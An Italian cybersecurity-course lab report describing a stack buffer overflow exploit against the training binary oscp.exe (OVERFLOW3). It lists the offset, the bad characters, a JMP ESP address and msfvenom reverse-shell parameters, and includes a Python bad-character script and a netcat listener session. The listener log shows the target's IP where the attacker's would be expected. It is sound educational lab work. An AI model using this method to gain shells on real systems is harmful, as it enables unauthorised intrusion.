

CORSO DI CYBERSECURITY – EPICODE

BUILD WEEK

Buffer Overflow su oscp.exe – OVERFLOW3

Build Week

A cura di:

**Akatsuki: Nicola Madonna, Lorenzo
Rizzuti, Donato Barbetta, Alex Tarantino,
Leonardo Onori**

Epicode

10 settembre 2026

Indice

1	Riassunto	2
2	Obiettivi	2
3	Configurazione del Laboratorio	2
4	Analisi dei Dati Raccolti	2
4.1	Individuazione dell'offset	2
4.2	Identificazione dei bad character	3
4.3	Ricerca del gadget JMP ESP	5
4.4	Generazione dello shellcode	5
4.5	Exploit finale e ottenimento della shell	5
5	Conclusioni	7

1 Riassunto

Il presente documento descrive lo sviluppo di un exploit di tipo *stack-based buffer overflow* contro il binario didattico `oscp.exe`, in ascolto sulla porta 1337 di una macchina Windows 10 (build 10240), sfruttando il comando `OVERFLOW3` esposto dal binario. È stata seguita la metodologia standard prevista dal corso (fuzzing, individuazione dell'offset, identificazione dei bad character, ricerca di un gadget `JMP ESP`, generazione dello shellcode e costruzione dell'exploit finale), ottenendo una reverse shell con privilegi utente sulla macchina target.

2 Obiettivi

- Individuare l'offset esatto necessario a sovrascrivere il registro EIP.
- Identificare i bad character che il programma non gestisce correttamente durante la copia del buffer.
- Individuare un indirizzo di memoria stabile contenente un'istruzione `JMP ESP`, utilizzabile per dirottare il flusso di esecuzione verso lo shellcode.
- Generare uno shellcode funzionante, privo dei bad character identificati.
- Costruire ed inviare un exploit completo in grado di ottenere l'esecuzione di codice remoto (RCE) sulla macchina target, sotto forma di reverse shell.

3 Configurazione del Laboratorio

Tabella 1: Configurazione dell'ambiente di laboratorio

Ruolo	Dettagli
Target (Windows)	IP 192.168.56.106, <code>oscp.exe</code> in ascolto sulla porta 1337
Sistema operativo target	Microsoft Windows 10, versione 10.0.10240
Attaccante (Kali Linux)	IP 192.168.56.102
Debugger	Immunity Debugger + plugin Mona
Porta listener (reverse shell)	1234

4 Analisi dei Dati Raccolti

4.1 Individuazione dell'offset

Attraverso l'invio di un pattern univoco generato con `pattern_create` e la successiva analisi del valore di EIP al momento del crash con `pattern_offset`, è stato individuato l'offset esatto per raggiungere il registro EIP.

Tabella 2: Offset individuato per OVERFLOW3

Parametro	Valore
Offset (byte prima di EIP)	1274

4.2 Identificazione dei bad character

L'identificazione dei bad character è stata condotta con un approccio iterativo. È stato costruito un payload composto da padding fino all'offset, overwrite di EIP e, a seguire, l'intera sequenza di byte da 0x01 a 0xFF (con l'esclusione del solo 0x00, notoriamente problematico in quanto terminatore di stringa). Il payload è stato inviato al servizio, e il contenuto della memoria a partire dal registro ESP è stato ispezionato in Immunity Debugger al momento del crash, confrontando i byte effettivamente presenti in memoria con la sequenza originariamente inviata.

Ogni byte che risultava alterato, sostituito o mancante rispetto alla sequenza attesa è stato considerato un bad character e aggiunto alla lista di esclusione; il test è stato quindi ripetuto, rigenerando il payload senza i caratteri già individuati, fino ad ottenere una corrispondenza esatta tra i byte inviati e quelli osservati in memoria. Questo processo iterativo ha portato all'identificazione dei seguenti bad character, oltre al già citato 0x00:

Tabella 3: Bad character individuati per OVERFLOW3

Bad character identificati
\x00
\x11
\x40
\x5f
\xb8
\xee

Lo script Python utilizzato per l'analisi dei bad character, che costruisce il payload escludendo i caratteri già confermati come problematici, è riportato di seguito:

```
import socket

ip = "192.168.56.106"
port = 1337
offset = 1274

padding = b"A" * offset
eip = b"B" * 4

# Caratteri da ignorare (incluso il null byte \x00)
ignore_chars = [b"\x00", b"\x11", b"\x40", b"\x5f", b"\xb8", b"\xee"]

# Genera i badchars escludendo quelli specificati in ignore_chars
badchars = bytearray([x for x in range(1, 256) if bytes([x]) not in
    ignore_chars])

payload = padding + eip + badchars

try:
    print(f"[*] Connessione a {ip}:{port}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))

    banner = s.recv(1024)
    print(f"[*] Banner: {banner.decode('utf-8', errors='ignore')}")

    print("[*] Invio payload per l'analisi dei bad character...")
    s.send(b"OVERFLOW3" + payload)

    s.close()
    print("[+] Payload inviato! Controlla in Immunity Debugger l'indirizzo di ESP.")
except Exception as e:
    print(f"[-] Errore: {e}")
```

4.3 Ricerca del gadget JMP ESP

Tramite il comando `!mona jmp -r esp` è stato ricercato, all'interno dei moduli caricati dal processo `oscp.exe`, un indirizzo contenente un'istruzione equivalente a `JMP ESP`, privo di protezioni (ASLR, Rebase, SafeSEH, CFG, OS tutti impostati su `False`), condizione necessaria per garantire che l'indirizzo resti stabile ad ogni esecuzione del programma.

Tabella 4: Gadget JMP ESP individuato per OVERFLOW3

Parametro	Valore
Indirizzo gadget	0x62501203
Istruzione	JMP ESP
Modulo	essfunc.dll

4.4 Generazione dello shellcode

Lo shellcode è stato generato con `msfvenom`, selezionando il payload `windows/shell_reverse_tcp` ed escludendo i bad character identificati nella fase precedente. L'encoder `x86/shikata_ga_nai` non è risultato compatibile con l'insieme di bad character individuato; l'encoder `x86/jmp_call_additive` ha invece prodotto uno shellcode valido.

Tabella 5: Parametri di generazione dello shellcode per OVERFLOW3

Parametro	Valore
Payload	windows/shell_reverse_tcp
LHOST	192.168.56.102
LPORT	1234
EXITFUNC	thread
Encoder	x86/jmp_call_additive
Dimensione shellcode	353 byte

4.5 Exploit finale e ottenimento della shell

Il payload finale è stato costruito concatenando: padding fino all'offset, l'indirizzo del gadget `JMP ESP` in formato little-endian, un NOP sled e lo shellcode generato. Il payload è stato inviato al servizio in ascolto sulla porta 1337, preceduto dal comando `OVERFLOW3`.

Tabella 6: Composizione del payload finale per OVERFLOW3

Componente	Dimensione
Padding	1274 byte
Indirizzo EIP (gadget)	4 byte
NOP sled	16 byte
Shellcode	353 byte
Totale payload	1647 byte

Dopo l'invio del payload, sul listener in ascolto (`nc -lvnp 1234`) è stata ricevuta con successo una connessione dalla macchina target, con conseguente ottenimento di una shell dei comandi Windows.

Tabella 7: Verifiche eseguite sulla shell ottenuta

Verifica	Risultato
Utente ottenuto (whoami)	desktop-9k1o4bt\user
Indirizzo IP target (ipconfig)	192.168.56.106
Subnet mask	255.255.255.0
Gateway predefinito	192.168.56.1
Versione Windows	Microsoft Windows [Versione 10.0.10240]

```

kali@kali: ~
└─$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.106] 49461
C:\Users\user\Desktop\oscp\whoami
whoami
desktop-9k1o4bt\user
C:\Users\user\Desktop\oscp\ipconfig
ipconfig

Configurazione IP di Windows

Scheda Ethernet Ethernet:
    Suffisso DNS specifico per connessione:
    Indirizzo IPv4 . . . . . : 192.168.56.106
    Subnet mask . . . . . : 255.255.255.0
    Gateway predefinito . . . . . : 192.168.56.1

Scheda Tunnel isatap.{92D61F82-1D19-45C9-B7CF-2E5AF2D63627}:
    Stato supporto. . . . . : Supporto disconnesso
    Suffisso DNS specifico per connessione:

```

Figura 1: Reverse shell ottenuta su oscp.exe tramite il comando OVERFLOW3, con output di whoami e ipconfig

5 Conclusioni

L'attacco condotto contro il comando **OVERFLOW3** del binario **oscp.exe** ha avuto esito positivo, confermando la vulnerabilità del servizio a un classico stack-based buffer overflow. È stato possibile ottenere l'esecuzione di codice arbitrario da remoto (RCE) tramite il controllo del registro EIP e il successivo dirottamento del flusso di esecuzione verso uno shellcode di tipo reverse shell, iniettato nello stack.

Coerentemente con quanto osservato per gli altri comandi analizzati in questa traccia (**OVERFLOW1**, **OVERFLOW7**, **OVERFLOW8**), offset, bad character e gadget **JMP ESP** si sono rivelati specifici del singolo comando **OVERFLOW3** e non riutilizzabili da altri comandi dello stesso binario, confermando la necessità di ripetere l'intera metodologia di analisi per ciascun endpoint vulnerabile individualmente.